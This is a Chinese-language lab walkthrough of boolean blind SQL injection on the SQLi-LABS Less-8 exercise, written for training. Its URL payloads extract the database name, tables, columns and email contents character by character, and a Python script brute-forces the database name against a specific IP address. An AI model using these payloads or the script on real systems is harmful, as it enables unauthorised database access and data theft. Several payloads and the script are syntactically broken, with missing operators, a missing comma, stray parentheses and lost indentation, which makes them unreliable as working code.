布尔型盲注
1.布尔型盲注(以SQLi-LABS Page-1(Basic Challenges) less8 为例子)
一、判断注入类型
输入命令
?id=1' and 1=1 --+
回显正常
输入命令
?id=1' and 1=2 --+
无回显,说明存在注入点
二、获取数据库名
00x1、先获取数据库名的长度
通过输入命令去逐步猜测名字长度
?id=0' length(database())>7 --+
回显正常
输入命令
?id=0' length(database())>8 --+
无回显
可以得到数据库名的长度为8
00x2、获得数据库长度之后,猜库名
这里是通过ASCII码来一个一个猜出数据库名的组成字符
先输入命令来判断首个字符的范围
?id=0' ascii(substr(database(),1,1)) >110 --+
?id=0' ascii(substr(database(),1,1)) >120 --+
可以得出首个字符的范围在110~120之间,逐渐缩小范围
import requests
url = "http://117.167.136.242:8002/Less-8/?id=1"
payload = '\' and if(ascii(substr(database()1,1))=115,1,0 --+'
dbname=''
for a in range(1,9):
for b in range(1,129):
e_url = url + '\' and if(ascii(substr(database(),{0},1))={1},1,0) --+)'.format(a,b)
r = requests.get(e_url)
if ("You are in..........." in r.text):
dbname += chr(b)
print(dbname)
break
最后得到数据库名为’security’
三、获取表名
00x1、获取此数据库下有几个表
输入命令逐步缩小表数量的范围
?id =0' or 4 = (SELECT count(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA = database());
?id =0' or 5 = (SELECT count(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA = database());
可以得到共有4个表
00x2、得到数据库表的个数后,猜测第一个表名
输入命令
?id='' or ascii(substr((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.tables where TABLE_SCHEMA ='security' limit 0,1),1,1)) = 101 --+
回显,得到表名第一个字符’e’
通过此方法,逐步得到表名
四、获取字段名
00x1、获取字段长度
输入命令
?id = 0' or 2 = (SELECT count(column_name) FROM INFORMATION_SCHEMA.columns where TABLE_SCHEMA = database() and table_name = 'emails'); --+
可以得到字符长度为2
00x2、查字段名
输入命令
?id=0' or ascii(substr((SELECT column_name FROM INFORMATION_SCHEMA.columns where TABLE_SCHEMA ='security' and table_name = 'emails' limit 0,1),2,1))>60; --+
逐步猜测出字段名
五、获取字段内容
00x1、判断字段内容的条数
输入命令
?id=0' or 8 = (SELECT count('id') FROM security.emails;)
00x2、获取内容
输入命令
?id=0' or ascii(substr((SELECT `email_id` from security.emails limit 2,1),1,1))>65; --+
逐步获取字段的内容
通过繁杂无聊的猜测最终得到全部内容
以下是参考
布尔型盲注详情